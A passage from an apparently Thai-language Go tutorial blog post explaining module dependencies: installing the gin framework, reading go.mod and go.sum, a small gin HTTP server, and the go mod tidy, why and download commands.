&#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE21;&#xE32;&#xE01;&#xE21;&#xE32;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19;</p><ol><li><strong>fmt</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Input/Output</li><li><strong>time</strong> &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;</li><li><strong>encoding/json</strong> &#xE40;&#xE02;&#xE49;&#xE32;&#xE41;&#xE25;&#xE30;&#xE16;&#xE2D;&#xE14;&#xE23;&#xE2B;&#xE31;&#xE2A; JSON</li><li><strong>database/sql</strong> &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; SQL</li><li><strong>errors</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Error</li><li><strong>testing</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Unit Testing</li></ol><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Standard Library &#xE40;&#xE2B;&#xE25;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07; Import &#xE21;&#xE31;&#xE19;&#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Go Code &#xE15;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Library &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;</p><pre><code>import (
    &quot;database/sql&quot;
    &quot;fmt&quot;
)
</code></pre><p>&#xE41;&#xE15;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Module &#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Standard Library &#xE02;&#xE2D;&#xE07; Go &#xE40;&#xE0A;&#xE48;&#xE19; Web Framework &quot;gin&quot; &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go get</p><pre><code>go get github.com/gin-gonic/gin</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-29-at-1.12.22-PM.png" class="kg-image" alt loading="lazy" width="1782" height="558" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-29-at-1.12.22-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-29-at-1.12.22-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-29-at-1.12.22-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-29-at-1.12.22-PM.png 1782w" sizes="(min-width: 720px) 720px"></figure><p>&#xE0B;&#xE36;&#xE48;&#xE07; Go &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Dependency &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>module myproject

go 1.21.0

require (
	github.com/bytedance/sonic v1.11.6 // indirect
	github.com/bytedance/sonic/loader v0.1.1 // indirect
	github.com/cloudwego/base64x v0.1.4 // indirect
	github.com/cloudwego/iasm v0.2.0 // indirect
	github.com/gabriel-vasile/mimetype v1.4.3 // indirect
	github.com/gin-contrib/sse v0.1.0 // indirect
	github.com/gin-gonic/gin v1.10.0 // indirect
	github.com/go-playground/locales v0.14.1 // indirect
	github.com/go-playground/universal-translator v0.18.1 // indirect
	github.com/go-playground/validator/v10 v10.20.0 // indirect
	github.com/goccy/go-json v0.10.2 // indirect
	github.com/json-iterator/go v1.1.12 // indirect
	github.com/klauspost/cpuid/v2 v2.2.7 // indirect
	github.com/leodido/go-urn v1.4.0 // indirect
	github.com/mattn/go-isatty v0.0.20 // indirect
	github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
	github.com/modern-go/reflect2 v1.0.2 // indirect
	github.com/pelletier/go-toml/v2 v2.2.2 // indirect
	github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
	github.com/ugorji/go/codec v1.2.12 // indirect
	golang.org/x/arch v0.8.0 // indirect
	golang.org/x/crypto v0.23.0 // indirect
	golang.org/x/net v0.25.0 // indirect
	golang.org/x/sys v0.20.0 // indirect
	golang.org/x/text v0.15.0 // indirect
	google.golang.org/protobuf v1.34.1 // indirect
	gopkg.in/yaml.v3 v3.0.1 // indirect
)</code></pre><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; Dependency &#xE40;&#xE2B;&#xE25;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Comment &#xE40;&#xE1B;&#xE47;&#xE19; // indirect &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Moddule &quot;gin&quot; &#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19; Go Code </p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Dependency &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE41;&#xE25;&#xE49;&#xE27; Go &#xE22;&#xE31;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; go.sum &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Hash (&#xE08;&#xE32;&#xE01; Hash Algorithm &#xE40;&#xE0A;&#xE48;&#xE19; SHA-256) &#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Module &#xE17;&#xE35;&#xE48; Project &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07; Module &#xE17;&#xE35;&#xE48; Download &#xE21;&#xE32;</p><p>&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Hash &#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Module &#xE02;&#xE2D;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; go.sum </p><pre><code>&lt;module&gt; &lt;version&gt; &lt;hash&gt;
&lt;module&gt; &lt;version&gt;/go.mod &lt;hash&gt;</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; go.sum &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Module &quot;gin&quot;</p><pre><code>github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0=
github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4=
github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM=
github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y=
github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w=
github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg=
github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0=
github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk=
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU=
github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y=
</code></pre><p><strong>&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48; Download &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE0A;&#xE49; Module</strong> &#xE43;&#xE19; Version &#xE19;&#xE31;&#xE49;&#xE19; &#xE46; Go &#xE08;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Hash &#xE43;&#xE19; go.sum &#xE01;&#xE31;&#xE1A; Hash &#xE17;&#xE35;&#xE48;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; Module &#xE17;&#xE35;&#xE48; Download &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; (&#xE08;&#xE32;&#xE01; Cache) &#xE16;&#xE49;&#xE32; Hash &#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE19; Go &#xE08;&#xE30;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE15;&#xE37;&#xE2D;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;</p><p>&#xE27;&#xE34;&#xE18;&#xE35;&#xE19;&#xE35;&#xE49;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE27;&#xE48;&#xE32; Module &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; Download &#xE2B;&#xE23;&#xE37;&#xE2D; Update &#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE41;&#xE23;&#xE01; &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE43;&#xE08;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE31;&#xE19;&#xE15;&#xE23;&#xE32;&#xE22;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Module &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Version &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Code API &#xE14;&#xE49;&#xE27;&#xE22; Web Framework &quot;gin&quot; &#xE43;&#xE19; <code>func main()</code>&#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Save, VS Code &#xE08;&#xE30;&#xE41;&#xE17;&#xE23;&#xE01;&#xE01;&#xE32;&#xE23; Import &quot;github.com/gin-gonic/gin&quot; &#xE41;&#xE25;&#xE30; &quot;net/http&quot; &#xE25;&#xE07;&#xE43;&#xE19; Code &#xE43;&#xE2B;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; main.go
package main

import (
	&quot;fmt&quot;
	&quot;myproject/calc&quot;
	&quot;myproject/utils&quot;
	&quot;net/http&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

func main() {
	result := calc.Add(5, 3)
	fmt.Println(&quot;5 + 3 =&quot;, result)

	thaiNumber := utils.NumberToThai(result)
	fmt.Println(&quot;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;:&quot;, thaiNumber)

	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Gin engine
	r := gin.Default()

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; route
	r.GET(&quot;/ping&quot;, func(c *gin.Context) {
		c.JSON(http.StatusOK, gin.H{
			&quot;message&quot;: &quot;pong&quot;,
		})
	})

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; route &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;
	r.GET(&quot;/hello/:name&quot;, func(c *gin.Context) {
		name := c.Param(&quot;name&quot;)
		c.String(http.StatusOK, &quot;Hello %s&quot;, name)
	})

	// &#xE23;&#xE31;&#xE19; server &#xE17;&#xE35;&#xE48; port 8080
	r.Run(&quot;:8080&quot;)
}
</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go mod tidy</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE41;&#xE25;&#xE30; go.sum &#xE2A;&#xE30;&#xE17;&#xE49;&#xE2D;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE08;&#xE23;&#xE34;&#xE07;&#xE02;&#xE2D;&#xE07; Project &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07; Dependency</p><pre><code>go mod tidy</code></pre><p>go mod tidy &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE41;&#xE25;&#xE30; Update &#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; Dependency &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE42;&#xE14;&#xE22;&#xE41;&#xE22;&#xE01; github.com/gin-gonic/gin &#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE44;&#xE27;&#xE49;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE32;&#xE01;</p><pre><code>module myproject

go 1.23.3

require github.com/gin-gonic/gin v1.10.0

require (
	github.com/bytedance/sonic v1.11.6 // indirect
	github.com/bytedance/sonic/loader v0.1.1 // indirect
	github.com/cloudwego/base64x v0.1.4 // indirect
	github.com/cloudwego/iasm v0.2.0 // indirect
	github.com/gabriel-vasile/mimetype v1.4.3 // indirect
	github.com/gin-contrib/sse v0.1.0 // indirect
	github.com/go-playground/locales v0.14.1 // indirect
	github.com/go-playground/universal-translator v0.18.1 // indirect
	github.com/go-playground/validator/v10 v10.20.0 // indirect
	github.com/goccy/go-json v0.10.2 // indirect
	github.com/json-iterator/go v1.1.12 // indirect
	github.com/klauspost/cpuid/v2 v2.2.7 // indirect
	github.com/leodido/go-urn v1.4.0 // indirect
	github.com/mattn/go-isatty v0.0.20 // indirect
	github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
	github.com/modern-go/reflect2 v1.0.2 // indirect
	github.com/pelletier/go-toml/v2 v2.2.2 // indirect
	github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
	github.com/ugorji/go/codec v1.2.12 // indirect
	golang.org/x/arch v0.8.0 // indirect
	golang.org/x/crypto v0.23.0 // indirect
	golang.org/x/net v0.25.0 // indirect
	golang.org/x/sys v0.20.0 // indirect
	golang.org/x/text v0.15.0 // indirect
	google.golang.org/protobuf v1.34.1 // indirect
	gopkg.in/yaml.v3 v3.0.1 // indirect
)
</code></pre><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go mod why </strong>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE39;&#xE27;&#xE48;&#xE32;&#xE17;&#xE33;&#xE44;&#xE21; Dependency &#xE19;&#xE35;&#xE49;&#xE16;&#xE36;&#xE07;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19; &#xE08;&#xE30;&#xE1E;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE31;&#xE19;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49; &#xE08;&#xE32;&#xE01; Dependency &#xE2D;&#xE37;&#xE48;&#xE19; &#xE08;&#xE36;&#xE07;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Comment &#xE40;&#xE1B;&#xE47;&#xE19; // indirect &#xE2D;&#xE35;&#xE01;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</p><pre><code>go mod why github.com/gin-gonic/gin</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-29-at-7.51.38-PM.png" class="kg-image" alt loading="lazy" width="1702" height="188" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-29-at-7.51.38-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-29-at-7.51.38-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-29-at-7.51.38-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-29-at-7.51.38-PM.png 1702w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go mod why</strong> &#xE01;&#xE31;&#xE1A; Indirect Dependency &#xE40;&#xE0A;&#xE48;&#xE19; github.com/bytedance/sonic &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE27;&#xE48;&#xE32; Indirect Dependency &#xE19;&#xE35;&#xE49;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE14;&#xE22; Dependency &#xE43;&#xE14;&#xE1A;&#xE49;&#xE32;&#xE07;</p><pre><code>go mod why github.com/bytedance/sonic</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-30-at-6.57.55-AM.png" class="kg-image" alt loading="lazy" width="1700" height="262" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-30-at-6.57.55-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-30-at-6.57.55-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-30-at-6.57.55-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-30-at-6.57.55-AM.png 1700w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go get -u</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; Update Dependency &#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Version &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14; &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go mod tidy</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14; &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07; Dependency &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>go get -u github.com/gin-gonic/gin
go mod tidy</code></pre><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE17; Dependency &#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE04;&#xE32;&#xE14;&#xE04;&#xE34;&#xE14;&#xE43;&#xE19; Code &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE04;&#xE27;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Program &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; go mod tidy &#xE40;&#xE2A;&#xE21;&#xE2D;</p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32; Download Module &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go get &lt;module-name&gt;</code> &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Go Module Cache &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE08;&#xE30;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Folder <code>$GOPATH/pkg/mod</code> </p><p>&#xE2B;&#xE32;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE48;&#xE32; <code>$GOPATH</code> &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go env GOPATH</code> &#xE44;&#xE14;&#xE49;</p><pre><code>go env GOPATH
</code></pre><p>&#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE30; Build Program &#xE1A;&#xE19; Environment &#xE43;&#xE2B;&#xE21;&#xE48;&#xE43;&#xE14; &#xE46; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod download</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; Download Module &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE43;&#xE19; File <code>go.mod</code> &#xE15;&#xE32;&#xE21; Version &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49; &#xE41;&#xE25;&#xE30;&#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE25;&#xE07;&#xE43;&#xE19; Go Module Cache (<code>$GOPATH/pkg/mod</code>) &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>go.mod</code></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/12/dep.png" class="kg-image" alt loading="lazy" width="1502" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/dep.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/dep.png 1000w, https://blog.pjjop.org/content/images/2024/12/dep.png 1502w" sizes="(min-width: 720px) 720px"><figcaption><a 